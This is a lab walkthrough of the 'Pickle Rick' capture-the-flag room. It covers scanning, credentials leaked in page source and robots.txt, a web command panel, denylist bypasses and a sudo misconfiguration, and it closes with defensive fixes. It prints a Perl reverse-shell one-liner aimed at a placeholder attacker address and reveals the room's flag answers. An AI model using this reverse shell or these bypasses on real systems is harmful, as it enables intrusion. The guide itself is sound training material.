Pickle Rick is small enough to finish from a browser command panel, but it rewards the same habits that matter on larger assessments: scan deliberately, read the application before firing tools at it, preserve every clue, and check privilege boundaries as soon as code execution lands.
I cross-checked the official room description against several independent walkthroughs and rebuilt the path as one reproducible guide. This is an original synthesis, not a collage of copied posts or screenshots. The three visuals are terminal reconstructions, and the output is labelled whenever it is representative rather than captured from a live deployment.
01 · The attack model
The official room gives us a single objective: exploit a web server and recover three ingredients. The shortest verified route contains no software CVE and no password cracking. The machine falls through exposed information, unsafe command execution, and an unrestricted sudo rule.
Think of the room as a chain of open internal doors. Each door looks minor in isolation. Together they take an unauthenticated visitor from a public page to root with no exploit development.
02 · Lab setup and notation
Start the room machine and your AttackBox, or connect through the TryHackMe VPN. Store the two addresses once so commands remain readable.
export TARGET_IP="10.10.X.X"
export ATTACKER_IP="10.X.X.X"
mkdir -p pickle-rick/{nmap,web,notes}
cd pickle-rick
TARGET_IP is the address shown by the active room. Do not reuse these commands against an arbitrary public host.If the target ignores host-discovery probes, -Pn tells Nmap to scan it as online. That is common inside training VPNs and does not imply stealth.
03 · Network reconnaissance
A two-pass scan gives fast coverage without running version detection against 65,535 ports. The first pass finds open TCP ports. The second spends time only where a service answered.
# Pass 1: full TCP port discovery
nmap -Pn -p- --min-rate 1500 -T4 -oA nmap/all-ports "$TARGET_IP"
# Pass 2: default scripts and version detection on discovered ports
nmap -Pn -sC -sV -p22,80 -oA nmap/services "$TARGET_IP"
-PnSkip host discovery and treat the room address as online.
-p-Inspect all 65,535 TCP ports instead of the default set.
-sCRun Nmap's default NSE scripts on the selected ports.
-sVProbe the open ports for service and version information.
-oASave normal, XML, and grepable output for evidence and later parsing.
--min-rateSet a packet-rate floor suitable for a small authorised lab.
Representative result:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH [version varies]
80/tcp open http Apache httpd [version varies]
Port 22 is useful context, but HTTP presents the larger attack surface. We do not have an SSH password yet, and there is no evidence that brute force is required. Port 80 gets the first manual review.
04 · Manual web inspection beats guesswork
Fetch the headers, body, source comments, and crawler file before starting a directory scan. This takes seconds and immediately produces two pieces of authentication material.
curl -i "http://$TARGET_IP/"
curl -s "http://$TARGET_IP/" | tee web/index.html
grep -niE 'user|pass|login|<!--' web/index.html
curl -s "http://$TARGET_IP/robots.txt" | tee web/robots.txt
The HTML source contains a username in a comment:
<!-- Username: R1ckRul3s -->
robots.txt contains a single unusual string:
Wubbalubbadubdub
A username is not a compromise, and a strange string is not automatically a password. Preserve both as hypotheses. The next task is to locate an authentication surface where the pair can be tested once.
05 · Content discovery with the right extensions
A directory-only wordlist can miss file-based routes. PHP, text, and HTML extensions matter here because the application exposes individual scripts rather than a neat directory tree.
gobuster dir \
-u "http://$TARGET_IP/" \
-w /usr/share/wordlists/dirb/common.txt \
-x php,txt,html \
-o web/gobuster.txt
Useful results normally include:
/index.html (Status: 200)
/login.php (Status: 200)
/portal.php (Status: 302)
/robots.txt (Status: 200)
/assets (Status: 301)
/server-status (Status: 403)
portal.php redirects an unauthenticated request to login.php. Submit the two preserved clues to that login form. They work, and the server returns an authenticated command panel.
Do not keep brute-forcing after a single evidence-backed credential pair succeeds. Record the source of each value, the endpoint that accepted it, the response code, and the privilege obtained. That is enough to reproduce the authentication finding without generating unnecessary login traffic.
The application splits a usable credential pair between an HTML comment and robots.txt. Separation does not protect a secret when both resources are public.
06 · Proving command execution
Start with commands that answer four questions: who am I, where am I, what files are here, and what privileges exist?
id
whoami
pwd
ls -la
In the documented deployment, the panel executes commands as the Apache service account www-data inside /var/www/html. The listing exposes Sup3rS3cretPickl3Ingred.txt, clue.txt, and the PHP application files.
A direct read with cat is rejected:
cat Sup3rS3cretPickl3Ingred.txt
# Command disabled to make it hard for future PICKLEEEE RICCCKKKK.
This is a denylist, not a security boundary. Linux provides many ways to read a file, so blocking a few command names changes the spelling of the attack without changing the outcome.
# Any one of these may bypass the command-name denylist
less Sup3rS3cretPickl3Ingred.txt
tac Sup3rS3cretPickl3Ingred.txt
grep . Sup3rS3cretPickl3Ingred.txt
base64 Sup3rS3cretPickl3Ingred.txt | base64 -d
less is the cleanest path and reveals the first ingredient. The important result is broader: attacker-controlled input reaches an operating-system shell, and the web process returns command output to the browser.
Reading the filter itself
The application files sit in the current directory, so the same file-reading alternatives can inspect portal.php. That confirms the control is a list of blocked command strings rather than a safe execution design.
tac portal.php
# or search the source for the rejection message
grep -n "disabled\|Command" portal.php
Substring blocking creates three problems. It misses equivalent binaries, it can often be altered with quoting or shell syntax, and it still leaves a shell interpreter behind the request. The correct fix is to remove free-form command input, not to grow the list of forbidden words.
The panel accepts shell commands instead of a fixed administrative action. A command-name denylist is bypassable by alternate binaries, shell syntax, encoding, or an interactive shell.
07 · Filesystem enumeration finds ingredient two
clue.txt says to look around the filesystem. Readable home directories are the logical next stop.
less clue.txt
ls -la /home
ls -la /home/rick
find /home -maxdepth 3 -type f -ls 2>/dev/null
The rick home directory contains a file named second ingredients. The space matters. Quote the full path or escape the space so the shell treats it as one argument.
less /home/rick/"second ingredients"
# equivalent:
less /home/rick/second\ ingredients
That file contains ingredient two. No reverse shell is required because the command panel already provides enough read access for this phase.
A compact Linux triage sequence
If you are using an interactive shell, collect enough host context to understand the boundary before exploring every directory. This sequence stays focused:
id
uname -a
less /etc/os-release
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
On this room, the fourth command makes the SUID and capability searches unnecessary for the objective. Stop when a verified, lower-complexity path already provides the required access.
08 · One sudo check ends the machine
Run sudo -l as soon as command execution is stable. The result is the most severe misconfiguration on the box:
sudo -l
User www-data may run the following commands on this host:
(ALL) NOPASSWD: ALL
This is not a clever privilege-escalation exploit. The sudo policy explicitly allows the web-service account to execute any command as any user without a password. Root access is already granted by configuration.
sudo id
sudo ls -la /root
sudo less /root/3rd.txt
sudo id should return uid=0(root). The root directory contains 3rd.txt, which holds the final ingredient.
A compromise of the PHP application becomes immediate host takeover. A service account should have no interactive sudo access. The NOPASSWD: ALL rule removes the final privilege boundary.
09 · Optional reverse shell for better ergonomics
The room can be completed without a reverse shell. Still, an interactive session is useful if you want to practise shell handling or inspect the host more deeply inside the authorised lab.
# AttackBox listener
rlwrap nc -lvnp 4444
# Submit through the command panel after replacing ATTACKER_IP
perl -e 'use Socket;$i="<ATTACKER_IP>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
If Python 3 is installed, upgrade the basic shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl-Z, then on the AttackBox:
stty raw -echo; fg
# Press Enter twice
This route adds moving parts and is not the shortest solution. Use it to practise, not because the flags demand it.
Common rabbit holes
- Forcing SSH. The discovered credential pair belongs to the web login in the documented path. A rejected SSH attempt is a signal to return to HTTP, not a reason to start a large password attack.
- Scanning before reading. Nikto and larger wordlists can add context, but neither is required once source review and extension-aware discovery expose the login route.
- Demanding a reverse shell. An interactive shell feels more complete, but the browser panel already provides command output and unrestricted sudo.
- Stopping at the blocked command. A denylist rejection proves that a filter exists. It does not prove that file reads or command execution are contained.
10 · Findings, impact, and defensive fixes
| Finding | Severity | Impact | Fix |
|---|---|---|---|
| Username in HTML comment | LOW | Reduces authentication uncertainty. | Remove operational identifiers from client-delivered source and deployment artefacts. |
Password in robots.txt | HIGH | Public disclosure of a working credential. | Rotate the credential. Store secrets outside the web root and source repository. |
| Arbitrary command panel | CRITICAL | Remote command execution as the web-service account. | Remove shell invocation. Expose fixed server-side actions through safe APIs with strict authorisation. |
| Command denylist | HIGH | Alternate binaries and syntax bypass the control. | Use an allowlist of complete operations, not blocked substrings. Do not pass user input to a shell. |
NOPASSWD: ALL for www-data | CRITICAL | Immediate full host takeover after web compromise. | Remove sudo from the service account. Apply least privilege and isolate the application process. |
OWASP recommends avoiding direct operating-system command calls wherever a language API can perform the task. If a command is unavoidable, separate command from data, validate with a positive allowlist, and run the process with the lowest useful privilege. Pickle Rick violates all three layers, which is why the attack chain is so short.
11 · Spoiler vault
Try the room first. Open these only when you want to verify an answer.
INGREDIENT 01REVEAL
mr. meeseek hair
INGREDIENT 02REVEAL
1 jerry tear
INGREDIENT 03REVEAL
fleeb juice
12 · What transfers to real assessments
- Read before brute force. Source comments, JavaScript, headers, and crawler files often provide more context than a larger wordlist.
- Track hypotheses. A string is not a password until a specific authentication surface accepts it. Preserve clues without promoting them to facts too early.
- Enumerate file extensions. Directory discovery against a PHP application is incomplete without PHP, text, backup, and configuration extensions where scope permits.
- Treat denylists as signals. A blocked command tells you input is reaching an execution layer. Test alternate readers and metacharacters inside the authorised lab.
- Check identity and sudo immediately.
id,pwd, andsudo -lturn vague code execution into an exact privilege model. - Prefer the shortest verified path. A reverse shell is useful practice, but it adds no value when the command panel already reads every required file.
The machine is beginner-friendly because each clue is visible. The useful discipline is recognising that the compromise does not come from one dramatic bug. It comes from ordinary controls failing in sequence.
References and cross-checks
Primary documentation:
- TryHackMe: Pickle Rick room
- Nmap Network Scanning: scan options
- Gobuster official repository and directory-mode usage
- OWASP OS Command Injection Defense Cheat Sheet
- sudoers manual
Independent walkthroughs used to cross-check paths, filenames, and command alternatives: